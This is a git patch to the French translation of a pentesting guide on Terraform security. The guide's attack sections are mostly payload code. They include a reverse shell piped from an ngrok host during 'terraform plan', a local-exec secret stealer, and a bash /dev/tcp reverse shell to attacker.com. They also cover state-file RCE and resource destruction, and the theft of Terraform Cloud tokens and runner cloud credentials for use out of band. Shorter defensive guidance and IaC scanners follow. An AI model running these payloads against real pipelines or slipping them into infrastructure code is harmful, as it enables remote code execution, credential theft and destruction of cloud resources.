From aaffd36dc1941c2cf93d8432a6c4f42b0e6f6570 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 17 Nov 2025 15:45:04 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to fr --- src/pentesting-ci-cd/terraform-security.md | 241 ++++++++++++--------- 1 file changed, 140 insertions(+), 101 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index e6d69875c..4bb0b2a0e 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -4,65 +4,65 @@ ## Informations de base -[Selon la documentation :](https://developer.hashicorp.com/terraform/intro) +[From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme les ressources de calcul, de stockage et de mise en réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS. +HashiCorp Terraform est un **outil d'infrastructure as code** qui vous permet de définir à la fois des **ressources cloud et on-prem** dans des fichiers de configuration lisibles par des humains que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un workflow cohérent pour provisionner et gérer l'ensemble de votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants bas niveau comme le compute, le storage et les ressources réseau, ainsi que des composants haut niveau comme les entrées DNS et des fonctionnalités SaaS. #### Comment fonctionne Terraform ? -Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs interfaces de programmation d'applications (API). Les fournisseurs permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible. +Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs APIs. Les providers permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible. ![](<../images/image (177).png>) -HashiCorp et la communauté Terraform ont déjà écrit **plus de 1700 fournisseurs** pour gérer des milliers de types de ressources et de services différents, et ce nombre continue de croître. Vous pouvez trouver tous les fournisseurs disponibles publiquement sur le [Terraform Registry](https://registry.terraform.io/), y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres. +HashiCorp et la communauté Terraform ont déjà écrit **plus de 1700 providers** pour gérer des milliers de types de ressources et de services différents, et ce nombre ne cesse de croître. Vous pouvez trouver tous les providers disponibles publiquement sur le [Terraform Registry](https://registry.terraform.io/), y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres. -Le flux de travail principal de Terraform se compose de trois étapes : +Le workflow principal de Terraform se compose de trois étapes : -- **Écrire :** Vous définissez des ressources, qui peuvent être réparties sur plusieurs fournisseurs et services cloud. Par exemple, vous pourriez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau de Cloud Privé Virtuel (VPC) avec des groupes de sécurité et un équilibreur de charge. -- **Planifier :** Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration. -- **Appliquer :** Sur approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances des ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et changez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles. +- **Write:** Vous définissez des ressources, qui peuvent s'étendre sur plusieurs cloud providers et services. Par exemple, vous pouvez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau Virtual Private Cloud (VPC) avec des security groups et un load balancer. +- **Plan:** Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration. +- **Apply:** Après approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances entre ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et changez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles. ![](<../images/image (215).png>) ### Laboratoire Terraform -Il vous suffit d'installer terraform sur votre ordinateur. +Il suffit d'installer terraform sur votre ordinateur. -Ici, vous avez un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et ici, vous avez la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads). +Vous trouverez ici un [guide] et ici le [best way to download terraform]. -## RCE dans Terraform : empoisonnement de fichier de configuration +## RCE in Terraform : empoisonnement de fichier de configuration -Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform** ou de **pouvoir modifier le fichier d'état terraform** (voir le chapitre ci-dessous). +Terraform **n'expose pas de plateforme avec une page web ou un service réseau** que nous pouvons énumérer, par conséquent, la seule façon de compromettre terraform est **d'être capable d'ajouter/modifier les fichiers de configuration terraform** ou **d'être capable de modifier le fichier d'état terraform** (voir chapitre ci-dessous). -Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements pour fonctionner correctement. +Cependant, terraform est un **composant très sensible** à compromettre car il aura des **accès privilégiés** à différents emplacements pour pouvoir fonctionner correctement. -Le principal moyen pour un attaquant de compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**. +La principale manière pour un attaquant de compromettre le système où terraform tourne est de **compromettre le repository qui stocke les configurations terraform**, parce qu'à un moment elles vont être **interprétées**. -En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** : +En fait, il existe des solutions qui **exécutent terraform plan/apply automatiquement après la création d'une PR**, comme **Atlantis** : {{#ref}} atlantis-security.md {{#endref}} -Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`. +Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons d'effectuer une RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`. ### Terraform plan -Terraform plan est la **commande la plus utilisée** dans terraform et les développeurs/solutions utilisant terraform l'appellent tout le temps, donc la **façon la plus simple d'obtenir un RCE** est de s'assurer que vous empoisonnez un fichier de configuration terraform qui exécutera des commandes arbitraires dans un `terraform plan`. +Terraform plan est la **commande la plus utilisée** dans terraform et les développeurs/solutions utilisant terraform l'appellent tout le temps, donc la **manière la plus simple d'obtenir une RCE** est de vous assurer d'empoisonner un fichier de configuration terraform qui exécutera des commandes arbitraires lors d'un `terraform plan`. -**Utilisation d'un fournisseur externe** +**Using an external provider** -Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui fournit un moyen d'interfacer entre Terraform et des programmes externes. Vous pouvez utiliser la source de données `external` pour exécuter du code arbitraire pendant un `plan`. +Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui offre un moyen d'interfacer Terraform avec des programmes externes. Vous pouvez utiliser la data source `external` pour exécuter du code arbitraire pendant un `plan`. -Injecter dans un fichier de configuration terraform quelque chose comme ce qui suit exécutera un shell inversé lors de l'exécution de `terraform plan` : +Injecter dans un fichier de configuration terraform quelque chose de similaire à ce qui suit exécutera une rev shell lors de l'exécution de `terraform plan` : ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Utilisation d'un fournisseur personnalisé** +**Utilisation d'un custom provider** -Un attaquant pourrait envoyer un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)): +Un attaquant pourrait soumettre un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) puis l'ajouter au code Terraform dans une branche de fonctionnalité ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -Le fournisseur est téléchargé dans l'`init` et exécutera le code malveillant lorsque `plan` est exécuté. +Le provider est téléchargé lors de `init` et exécutera le code malveillant lorsque `plan` sera exécuté -Vous pouvez trouver un exemple dans [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Utilisation d'une référence externe** +**Utiliser une référence externe** -Les deux options mentionnées sont utiles mais pas très discrètes (la seconde est plus discrète mais plus complexe que la première). Vous pouvez effectuer cette attaque même de manière **plus discrète**, en suivant ces suggestions : +Les deux options mentionnées sont utiles mais pas très discrètes (la deuxième est plus discrète mais plus complexe que la première). Vous pouvez réaliser cette attaque de manière encore plus **discrète**, en suivant ces suggestions : -- Au lieu d'ajouter le rev shell directement dans le fichier terraform, vous pouvez **charger une ressource externe** qui contient le rev shell : +- Au lieu d'ajouter la rev shell directement dans le terraform file, vous pouvez **charger une ressource externe** qui contient la rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Vous pouvez trouver le rev shell code dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **terraform rev shell code dans une branche** du repo, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply sera exécuté pour appliquer tous les changements, vous pouvez également en abuser pour obtenir RCE en injectant **un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Vous devez juste vous assurer qu'une charge utile comme les suivantes se termine dans le fichier `main.tf` : +Terraform apply sera exécuté pour appliquer tous les changements, vous pouvez aussi l'abuser pour obtenir une RCE en injectant **un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Il suffit de vous assurer qu'un payload comme les exemples suivants se termine dans le fichier `main.tf` : ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Suivez les **suggestions de la technique précédente** pour effectuer cette attaque de manière **plus discrète en utilisant des références externes**. +Suivez les **suggestions de la technique précédente** pour réaliser cette attaque de manière **plus discrète en utilisant des références externes**. -## Secrets Dumps +## Extraction de secrets -Vous pouvez avoir des **valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme : +Vous pouvez obtenir **l'extraction des valeurs secrètes utilisées par terraform** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme : ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,15 +124,15 @@ value = nonsensitive(var.do_token) ``` ## Abuser des fichiers d'état Terraform -Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier. Même si vous aviez un accès en écriture sur les fichiers de configuration, utiliser le vecteur des fichiers d'état est souvent beaucoup plus sournois, car vous ne laissez pas de traces dans l'historique `git`. +Dans le cas où vous avez un accès en écriture aux fichiers d'état Terraform mais ne pouvez pas modifier le code Terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) donne des options intéressantes pour tirer parti du fichier. Même si vous aviez un accès en écriture aux fichiers de configuration, utiliser le vecteur des fichiers d'état est souvent bien plus discret, puisque vous ne laissez pas de traces dans l'historique `git`. -### RCE dans Terraform : empoisonnement de fichier de configuration +### RCE in Terraform: empoisonnement des fichiers de configuration -Il est possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et de simplement remplacer l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou d'ajouter une ressource factice référencant le fournisseur malveillant. +Il est possible de [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et simplement remplacer l'un des providers dans le terraform state file par un provider malveillant ou ajouter un fake resource référencant le provider malveillant. -Le fournisseur [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) s'appuie sur la recherche et arme ce principe. Vous pouvez ajouter une ressource factice et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut `command`. Lorsque l'exécution de `terraform` est déclenchée, cela sera lu et exécuté à la fois dans les étapes `terraform plan` et `terraform apply`. Dans le cas de l'étape `terraform apply`, `terraform` supprimera la ressource factice du fichier d'état après avoir exécuté votre commande, nettoyant après lui. Plus d'informations et une démonstration complète peuvent être trouvées dans le [dépôt GitHub hébergeant le code source de ce fournisseur](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Le provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) s'appuie sur cette recherche et exploite ce principe. Vous pouvez ajouter une fake resource et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut `command`. Lorsque l'exécution de `terraform` est déclenchée, cela sera lu et exécuté à la fois lors des étapes `terraform plan` et `terraform apply`. Dans le cas de l'étape `terraform apply`, `terraform` supprimera la fake resource du state file après avoir exécuté votre commande, nettoyant ainsi ses traces. Plus d'informations et une démonstration complète sont disponibles dans le [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). -Pour l'utiliser directement, il suffit d'inclure ce qui suit à n'importe quelle position du tableau `resources` et de personnaliser les attributs `name` et `command` : +Pour l'utiliser directement, incluez simplement ce qui suit à n'importe quelle position du tableau `resources` et personnalisez les attributs `name` et `command` : ```json { "mode": "managed", @@ -160,7 +160,7 @@ Il existe 2 façons de détruire des ressources : 1. **Insérer une ressource avec un nom aléatoire dans le fichier d'état pointant vers la vraie ressource à détruire** -Parce que terraform verra que la ressource ne devrait pas exister, il la détruira (suivant l'ID de la vraie ressource indiqué). Exemple de la page précédente : +Parce que terraform verra que la ressource ne devrait pas exister, il la détruira (en suivant l'ID réel de la ressource indiqué). Exemple de la page précédente : ```json { "mode": "managed", @@ -176,13 +176,13 @@ Parce que terraform verra que la ressource ne devrait pas exister, il la détrui ] }, ``` -2. **Modifier la ressource à supprimer de manière à ce qu'il ne soit pas possible de mettre à jour (afin qu'elle soit supprimée et recréée)** +2. **Modifier la ressource de façon à ce qu'il soit impossible de la mettre à jour (elle sera donc supprimée puis recréée)** -Pour une instance EC2, modifier le type de l'instance suffit à faire en sorte que terraform la supprime et la recrée. +Pour une instance EC2, modifier le type de l'instance suffit pour que terraform la supprime puis la recrée. -### Remplacer le fournisseur sur liste noire +### Remplacer un provider mis sur liste noire -Dans le cas où vous rencontrez une situation où `hashicorp/external` a été mis sur liste noire, vous pouvez réimplémenter le fournisseur `external` en procédant comme suit. Remarque : Nous utilisons un fork du fournisseur externe publié par https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez également publier votre propre fork ou réimplémentation. +Si vous rencontrez une situation où `hashicorp/external` a été mis sur liste noire, vous pouvez réimplémenter le provider `external` en procédant comme suit. Remarque : nous utilisons un fork du provider external publié sur https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez publier votre propre fork ou réimplémentation également. ```terraform terraform { required_providers { @@ -199,21 +199,21 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Terraform Cloud speculative plan RCE et exfiltration de credentials +## Terraform Cloud speculative plan RCE and credential exfiltration -Ce scénario abuse des runners de Terraform Cloud (TFC) lors des plans spéculatifs pour pivoter vers le compte cloud cible. +Ce scénario abuse les runners Terraform Cloud (TFC) pendant les speculative plans pour pivoter dans le compte cloud cible. -- Conditions préalables : -- Voler un token Terraform Cloud depuis une machine de développeur. Le CLI stocke les tokens en texte clair à `~/.terraform.d/credentials.tfrc.json`. -- Le token doit avoir accès à l'organisation/espace de travail cible et au moins la permission `plan`. Les espaces de travail soutenus par VCS bloquent `apply` depuis le CLI, mais permettent toujours des plans spéculatifs. +- Prérequis: +- Voler un token Terraform Cloud depuis une machine de développeur. Le CLI stocke les tokens en texte en clair dans `~/.terraform.d/credentials.tfrc.json`. +- Le token doit avoir accès à l'organisation/workspace cible et au moins la permission `plan`. Les workspaces liés à un VCS bloquent `apply` depuis le CLI, mais autorisent toujours les speculative plans. -- Découvrir les paramètres de l'espace de travail et de VCS via l'API TFC : +- Découvrir les paramètres du workspace et du VCS via l'API TFC: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` -- Déclencher l'exécution de code pendant un plan spéculatif en utilisant la source de données externe et le bloc "cloud" de Terraform Cloud pour cibler l'espace de travail soutenu par VCS : +- Déclencher l'exécution de code lors d'un speculative plan en utilisant l'external data source et le bloc Terraform Cloud "cloud" pour cibler le VCS-backed workspace: ```hcl terraform { cloud { @@ -226,32 +226,32 @@ data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` -Exemple de rsync.sh pour obtenir un shell inversé sur le TFC runner : +Exemple de rsync.sh pour obtenir une reverse shell sur le TFC runner: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` -Exécutez un plan spéculatif pour exécuter le programme sur le coureur éphémère : +Lancer un plan spéculatif pour exécuter le programme sur le runner éphémère : ```bash terraform init terraform plan ``` -- Énumérer et exfiltrer les identifiants cloud injectés depuis le runner. Pendant les exécutions, TFC injecte les identifiants du fournisseur via des fichiers et des variables d'environnement : +- Enumerate and exfiltrate injected cloud credentials depuis le runner. Pendant les runs, TFC injecte provider credentials via files et environment variables: ```bash env | grep -i gcp || true env | grep -i aws || true ``` Fichiers attendus dans le répertoire de travail du runner : -- GCP : -- `tfc-google-application-credentials` (configuration JSON de la fédération d'identité de charge de travail) -- `tfc-gcp-token` (jeton d'accès GCP à courte durée de vie) -- AWS : -- `tfc-aws-shared-config` (configuration d'assumption de rôle d'identité web/OIDC) -- `tfc-aws-token` (jeton à courte durée de vie ; certaines organisations peuvent utiliser des clés statiques) +- GCP: +- `tfc-google-application-credentials` (configuration JSON Workload Identity Federation) +- `tfc-gcp-token` (jeton d'accès GCP éphémère) +- AWS: +- `tfc-aws-shared-config` (configuration d'AssumeRole web identity/OIDC) +- `tfc-aws-token` (jeton éphémère ; certaines organisations peuvent utiliser des clés statiques) -- Utilisez les identifiants à courte durée de vie en dehors de la bande pour contourner les portes d'accès VCS : +- Utilisez les identifiants éphémères hors canal pour contourner les gates VCS : -GCP (gcloud) : +GCP (gcloud): ```bash export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" @@ -263,27 +263,53 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` -Avec ces identifiants, les attaquants peuvent créer/modifier/détruire des ressources directement en utilisant des CLIs natives, contournant ainsi les flux de travail basés sur PR qui bloquent `apply` via VCS. +Avec ces creds, les attaquants peuvent créer/modifier/supprimer des ressources directement en utilisant les CLIs natifs, contournant les workflows basés sur PR qui bloquent `apply` via VCS. -- Conseils défensifs : -- Appliquez le principe du moindre privilège aux utilisateurs/équipes et jetons TFC. Auditez les adhésions et évitez les propriétaires trop nombreux. -- Restreignez la permission `plan` sur les espaces de travail sensibles soutenus par VCS lorsque cela est possible. -- Appliquez des listes blanches de fournisseurs/sources de données avec des politiques Sentinel pour bloquer `data "external"` ou des fournisseurs inconnus. Consultez les conseils de HashiCorp sur le filtrage des fournisseurs. -- Préférez OIDC/WIF aux identifiants cloud statiques ; traitez les runners comme sensibles. Surveillez les exécutions de plans spéculatifs et les sorties inattendues. -- Détectez l'exfiltration des artefacts d'identifiants `tfc-*` et alertez sur l'utilisation suspecte de programmes `external` pendant les plans. +- Defensive guidance: +- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners. +- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible. +- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering. +- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress. +- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans. -## Outils d'Audit Automatiques +## Compromising Terraform Cloud + +### Using a token + +As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope. + +Using this token it's possible to get the org/workspace with: +```bash +GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod +Authorization: Bearer +``` +Il est alors possible d'exécuter du code arbitraire en utilisant **`terraform plan`** comme expliqué dans le chapitre précédent. + +### Évasion vers le cloud + +Ensuite, si le runner est situé dans un environnement cloud, il est possible d'obtenir le token du principal attaché au runner et de l'utiliser out of band. + +- **Fichiers GCP (présents dans le répertoire de travail de l'exécution courante)** +- `tfc-google-application-credentials` — JSON de configuration pour Workload Identity Federation (WIF) qui indique à Google comment échanger l'identité externe. +- `tfc-gcp-token` — token d'accès GCP de courte durée (≈1 heure) référencé par le fichier ci‑dessus + +- **Fichiers AWS** +- `tfc-aws-shared-config` — JSON pour web identity federation / OIDC role assumption (préféré aux clés statiques). +- `tfc-aws-token` — token de courte durée, ou potentiellement des clés IAM statiques si mal configuré. + + +## Outils d'audit automatiques ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk propose une solution complète de scan pour l'Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC. +Snyk propose une solution complète de scanning Infrastructure as Code (IaC) qui détecte les vulnérabilités et les mauvaises configurations dans Terraform, CloudFormation, Kubernetes, et autres formats IaC. - **Fonctionnalités :** -- Scan en temps réel pour les vulnérabilités de sécurité et les problèmes de conformité. +- Analyse en temps réel des vulnérabilités de sécurité et des problèmes de conformité. - Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket). -- Demandes de tirage de correction automatisées. -- Conseils détaillés pour la remédiation. +- Pull requests de correction automatisées. +- Conseils de remédiation détaillés. - **Inscription :** Créez un compte sur [Snyk](https://snyk.io/). ```bash brew tap snyk/tap @@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source. +**Checkov** est un outil d'analyse statique de code pour l'infrastructure as code (IaC) et aussi un outil d'analyse de composition logicielle (SCA) pour les images et les paquets open source. -Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes. +Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité en utilisant une analyse basée sur un graphe. -Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE). +Il effectue [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui consiste en une analyse des paquets open source et des images à la recherche de Common Vulnerabilities and Exposures (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` est un framework de tests léger, axé sur la sécurité et la conformité, pour terraform, permettant des tests négatifs pour votre infrastructure en tant que code. -- **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées -- **développement piloté par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ? -- **portable :** installez-le simplement depuis `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/) -- **pré-déploiement :** il valide votre code avant qu'il ne soit déployé -- **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés. -- **séparation des tâches :** vous pouvez garder vos tests dans un dépôt différent où une équipe distincte est responsable. +- **compliance:** S'assurer que le code implémenté respecte les standards de sécurité, ainsi que vos propres standards personnalisés +- **behaviour driven development:** On utilise le BDD pour presque tout, pourquoi pas pour IaC ? +- **portable:** installez-le simplement via `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** il valide votre code avant son déploiement +- **easy to integrate:** il peut s'exécuter dans votre pipeline (ou dans des git hooks) pour s'assurer que tous les déploiements sont validés. +- **segregation of duty:** vous pouvez conserver vos tests dans un dépôt différent où une équipe distincte en est responsable. > [!NOTE] -> Malheureusement, si le code utilise certains fournisseurs auxquels vous n'avez pas accès, vous ne pourrez pas effectuer le `terraform plan` et exécuter cet outil. +> Malheureusement, si le code utilise des providers auxquels vous n'avez pas accès, vous ne pourrez pas exécuter le `terraform plan` ni lancer cet outil. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -322,40 +348,53 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -D'après les [**docs**](https://github.com/aquasecurity/tfsec) : tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles. +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. -- ☁️ Vérifie les configurations incorrectes sur tous les principaux (et certains mineurs) fournisseurs de cloud +- ☁️ Vérifie les mauvaises configurations sur tous les principaux (et certains mineurs) fournisseurs cloud - ⛔ Des centaines de règles intégrées - 🪆 Scanne les modules (locaux et distants) - ➕ Évalue les expressions HCL ainsi que les valeurs littérales -- ↪️ Évalue les fonctions Terraform par exemple `concat()` +- ↪️ Évalue les fonctions Terraform, p.ex. `concat()` - 🔗 Évalue les relations entre les ressources Terraform -- 